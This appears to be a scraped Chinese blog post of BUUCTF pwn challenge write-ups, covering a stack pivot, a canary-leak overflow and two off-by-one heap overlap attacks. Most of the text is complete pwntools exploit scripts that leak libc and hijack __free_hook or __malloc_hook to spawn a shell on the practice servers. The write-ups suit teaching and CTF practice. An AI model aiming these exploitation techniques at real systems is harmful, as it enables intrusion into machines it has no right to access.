当前位置:网站首页>buuctf-pwn write-ups (8)
buuctf-pwn write-ups (8)
2022-07-04 05:46:00 【L3H_CoLin】
buu062-gyctf_2020_borrowstack
栈迁移。常规的栈迁移方法是返回到leave指令,之前修改rbp到合适的值。我们将rbp修改到bss段的内部,将栈迁移到这里。需要注意不能将栈迁移到变量bank的开头,因为后面还需要调用puts等函数,往上可能会覆盖某些重要数据。因此迁移的地址应该尽量靠后(下面脚本中迁移的地址是bank+0xA0)。使用puts函数读取got表,获取到libc版本,然后使用one_gadget即可getshell。(经过尝试,本题使用system(“/bin/sh”)不可行,原因不明)
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29767)
elf = ELF('./pwn')
addrsp_8_ret = 0x4004c5
pop3_ret = 0x4006ff
poprdi_ret = 0x400703
poprsi_r15_ret = 0x400701
gadget = 0x4006FA
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
payload = cyclic(0x60)
payload += p64(0x601080 - 8 + 0xA0) # new ebp
payload += p64(0x400699) # leave
io.sendafter(b'Tell me what you want\n', payload)
payload = cyclic(0xA0)
payload += p64(poprdi_ret)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(poprdi_ret)
payload += p64(0)
payload += p64(poprsi_r15_ret)
payload += p64(0x601080 + 0x48 + 0xA0)
payload += p64(0xdeadbeef)
payload += p64(elf.plt['read']) # 仅设定了read函数的前两个参数,第三个参数size没有设置,但是是一个很大的值
io.sendafter(b'stack now!\n', payload)
puts = u64(io.recv(6) + b'\x00\x00')
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
payload = p64(base + one_gadgets[3])
io.send(payload)
io.interactive()
buu063-others_babystack
简单的canary泄露栈溢出。
from pwn import *
from LibcSearcher import *
context(arch='amd64', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 29017)
def Input(content):
io.sendafter(b'>> ', b'1'.ljust(0x20, b' '))
io.send(content)
def Output():
io.sendafter(b'>> ', b'2'.ljust(0x20, b' '))
Input(cyclic(0x89))
Output()
io.recv(0x88)
canary = u64(io.recv(8))
canary &= 0xFFFFFFFFFFFFFF00
print(hex(canary))
payload = cyclic(0x90)
payload += p64(0xdeadbeefdeadbeef)
Input(payload)
Output()
io.recv(0x98)
retaddr = u64(io.recv(6) + b'\x00\x00')
print(hex(retaddr))
libc_start_main = retaddr - 240
libc = LibcSearcher('__libc_start_main', libc_start_main)
base = libc_start_main - libc.dump('__libc_start_main')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
payload = cyclic(0x88)
payload += p64(canary)
payload += p64(0xdeadbeefdeadbeef)
payload += p64(0x400A93)
payload += p64(binsh)
payload += p64(sys)
Input(payload)
io.sendafter(b'>> ', b'3'.ljust(0x20, b' '))
io.interactive()
buu064-0ctf_2017_babyheap
同第29题。
buu065-hitcontraining_heapcreator
容易得到程序控制的结构体如上,一共可以申请至多10个这样的结构体。包含创建、删除、打印、修改选项,其中修改选项中含有off by one漏洞。
这里read_input函数中使用的是read函数,因此这一个溢出的字节可以是任何值。将这个字节的值变大会导致堆块重叠。
这里插一条笔记:
如果使用free函数释放紧邻top chunk下面的大于最大fastbin容纳范围的chunk,当这个chunk的大小加上top chunk的大小大于FASTBIN_CONSOLIDATION_THRESHOLD(65536)时会触发malloc_consolidate()函数将所有的fastbin清空并归位到unsorted bins中。详情请见源码第4054~4076行。调试中无意发现,在此记录,与本题关系不大。
经过调试验证,证实上面的思路是正确的。我们成功通过off by one漏洞获取到一个chunk_info的读写权限。
那么,后面的思路也就清晰了:将后面一个chunk_info的可读写空间调大,获取到#4中的main_arena地址,进而计算libc基地址。然后直接将#3的可写地址改为__free_hook地址,写入one_gadget,再调用free函数即可getshell。
from pwn import *
from LibcSearcher import *
context(arch='amd64', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27833)
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
elf = ELF('./pwn')
def create(size, content):
io.sendlineafter(b'Your choice :', b'1')
io.sendlineafter(b'Size of Heap : ', str(size).encode())
io.sendafter(b'Content of heap:', content)
def edit(index, content):
io.sendlineafter(b'Your choice :', b'2')
io.sendlineafter(b'Index :', str(index).encode())
io.sendafter(b'Content of heap : ', content)
def show(index):
io.sendlineafter(b'Your choice :', b'3')
io.sendlineafter(b'Index :', str(index).encode())
def delete(index):
io.sendlineafter(b'Your choice :', b'4')
io.sendlineafter(b'Index :', str(index).encode())
create(0x48, b'colin') # heaparray[0]
create(0x48, b'colin') # heaparray[1]
create(0x48, b'colin') # heaparray[2]
edit(0, cyclic(0x48) + b'\x91')
delete(1)
create(0x68, b'colin') # heaparray[1]
edit(1, cyclic(0x40) + p64(0x51) + p64(0x21) + p64(0x100)) # change the readable size of heaparray[2]
create(0x88, b'colin') # heaparray[3]
create(0x68, b'colin') # heaparray[4]
delete(3)
payload = cyclic(0x70)
edit(2, payload)
show(2)
io.recvuntil(b'aabcaab')
main_arena = u64(io.recv(6) + b'\x00\x00') - 88
__malloc_hook = main_arena - 0x10
print(hex(main_arena))
libc = LibcSearcher("__malloc_hook", __malloc_hook)
base = __malloc_hook - libc.dump("__malloc_hook")
sys = base + libc.dump("system")
binsh = base + libc.dump("str_bin_sh")
__free_hook = base + libc.dump("__free_hook")
# 下面的这个payload是用来还原部分堆环境的
# 因为前面读取使用printf函数,在main_arena地址之前不能有空字节,所以会覆盖掉两个chunk的控制信息
# 这里将其还原,保证后面创建chunk的时候能够正常
payload = cyclic(0x40)
payload += p64(0x50)
payload += p64(0x21)
payload += p64(0x90)
payload += p64(0xdeadbeef) # change write address to __free_hook
payload += p64(0x20)
payload += p64(0x90)
edit(2, payload)
create(0x68, b'colin') # heaparray[4], reallocate
payload = cyclic(0x40)
payload += p64(0x50)
payload += p64(0x21)
payload += p64(0x90)
payload += p64(__free_hook) # change write address to __free_hook
payload += p64(0x20)
payload += p64(0x90)
edit(2, payload)
edit(3, p64(base + one_gadgets[1]))
delete(0)
io.interactive()
buu066-roarctf_2019_easy_pwn
也是一道考察off by one漏洞的题目。
经过分析,本题使用的数据结构如下:一共可以创建至多16个这样的结构。
在write_note实现函数中,当输入的size值是原来定义值-10时会触发一个off by one漏洞,能够溢出一个字节。
可见本题的思路和上一题类似,但由于本题的堆环境不同,需要对利用姿势加以修改。
如上图所示,我们通过off by one漏洞将下一个chunk的size改大,使其能够正好覆盖下一个chunk。由于可读写的空间大小保存在bss段,因此此时我们可读写的空间大小实际上并没有改变。然后将这个改大的chunk释放,这样就会产生一个和下一个chunk完全重合的free chunk,在内部保存有main_arena的地址。通过读取下一个chunk即可获取。
获取到__malloc_hook的地址之后,我们可以通过上图的方式进行fastbin attack。同样是堆块重叠,但这次是将整个unsorted bin chunk都重新申请回来,通过中间的chunk #4修改chunk #5的fd指针到__malloc_hook,这样可以在接下来申请到__malloc_hook处的chunk。
然后,我们可以在__malloc_hook中写入one_gadget的地址。但经过测试发现,能够使用的4个one_gadget都不能让我们获得shell。通过one_gadget打印出来的地址可以知道,这些one_gadget想要执行是有一定条件的,如栈上某个地址需要为0,rax为0等等。如果直接将one_gadget写入__malloc_hook不行,可以考虑将one_gadget写到__realloc_hook中,在__malloc_hook中写realloc函数中的地址,注意我们想要修改栈的环境,需要写realloc+4的地址,这样可以避免执行push rbp; mov rbp, rsp这两条指令,从而产生8字节的错位。
from pwn import *
from LibcSearcher import *
context(arch='amd64', log_level='debug')
io = process('./pwn')
# io = remote('node4.buuoj.cn', 25959)
elf = ELF('./pwn')
# one_gadgets = [0x3f4b6, 0x3f50a, 0xd5a27]
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
# one_gadgets = [0x45206, 0x4525a, 0xef9f4, 0xf0897]
# one_gadgets = [0x3f4a6, 0x3f4fa, 0xd5b87]
def create_note(size):
io.sendlineafter(b'choice: ', b'1')
io.sendlineafter(b'size: ', str(size).encode())
def write_note(index, size, content):
io.sendlineafter(b'choice: ', b'2')
io.sendlineafter(b'index: ', str(index).encode())
io.sendlineafter(b'size: ', str(size).encode())
io.sendafter(b'content: ', content)
def drop_note(index):
io.sendlineafter(b'choice: ', b'3')
io.sendlineafter(b'index: ', str(index).encode())
def show_note(index):
io.sendlineafter(b'choice: ', b'4')
io.sendlineafter(b'index: ', str(index).encode())
create_note(0x48) # chunk_info #0
create_note(0x48) # chunk_info #1
create_note(0x88) # chunk_info #2
create_note(0x18) # chunk_info #3
create_note(0x18) # chunk_info #4
create_note(0x68) # chunk_info #5
create_note(0x18) # chunk_info #6
write_note(0, 0x48+10, cyclic(0x48) + b'\xE1')
drop_note(1)
create_note(0x48) # chunk_info #1
show_note(2)
io.recvuntil(b'content: ')
main_arena = u64(io.recv(8)) - 88
print(hex(main_arena))
__malloc_hook = main_arena - 0x10
libc = LibcSearcher("__malloc_hook", __malloc_hook)
base = __malloc_hook - libc.dump('__malloc_hook')
__free_hook = base + libc.dump('__free_hook')
realloc = base + libc.dump('realloc')
create_note(0x88) # chunk_info #7, same addr as #2
write_note(3, 0x18+10, cyclic(0x18) + b'\x91')
drop_note(4)
create_note(0x88) # chunk_info #4, overlap #5
write_note(4, 0x88, (b'\x00' * 0x10 + p64(0x20) + p64(0x71)).ljust(0x88, b'\x00'))
drop_note(5)
write_note(4, 0x88, (b'\x00' * 0x10 + p64(0x20) + p64(0x71) + p64(__malloc_hook - 0x23)).ljust(0x88, b'\x00'))
create_note(0x68) # chunk_info #5
create_note(0x68) # chunk_info #8, to __malloc_hook
write_note(8, 0x13 + 8, b'\x00' * 0xB + p64(base + one_gadgets[3]) + p64(realloc + 4))
create_note(0x38)
io.interactive()
边栏推荐
- 卸载Google Drive 硬盘-必须退出程序才能卸载
- Win10 clear quick access - leave no trace
- 我的NVIDIA开发者之旅——优化显卡性能
- transformer坑了多少算力
- JS flattened array of number shape structure
- Upper computer software development - log information is stored in the database based on log4net
- BUU-Crypto-[GXYCTF2019]CheckIn
- 19. Framebuffer application programming
- Invalid revision: 3.18.1-g262b901-dirty
- 2022 R2 mobile pressure vessel filling retraining question bank and answers
猜你喜欢
Halcon图片标定,使得后续图片处理过后变成与模板图片一样
transformer坑了多少算力
How to solve the component conflicts caused by scrollbars in GridView
1480. Dynamic sum of one-dimensional array
我的NVIDIA开发者之旅——优化显卡性能
19.Frambuffer应用编程
Uninstall Google drive hard drive - you must exit the program to uninstall
Solar insect killing system based on single chip microcomputer
Google Chrome browser will support the function of selecting text translation
Flask
随机推荐
Experience weekly report no. 102 (July 4, 2022)
gslb(global server load balance)技术的一点理解
每周小结(*63):关于正能量
VB.net 简单的处理图片,黑白(类库——7)
Thinkphp6.0 middleware with limited access frequency think throttle
VB. Net simple processing pictures, black and white (class library - 7)
检漏继电器JY82-2P
JS string splicing
How to clone objects
js arguments参数使用和详解
BUU-Crypto-[GXYCTF2019]CheckIn
VB. Net calls ffmpeg to simply process video (class Library-6)
js如何将秒转换成时分秒显示
Etcd database source code analysis - initialization overview
Excel 比较日器
Build an Internet of things infrared temperature measuring punch in machine with esp32 / rush to work after the Spring Festival? Baa, no matter how hard you work, you must take your temperature first
Arc135 C (the proof is not very clear)
Leetcode 184 Employees with the highest wages in the Department (July 3, 2022)
接地继电器DD-1/60
Halcon图片标定,使得后续图片处理过后变成与模板图片一样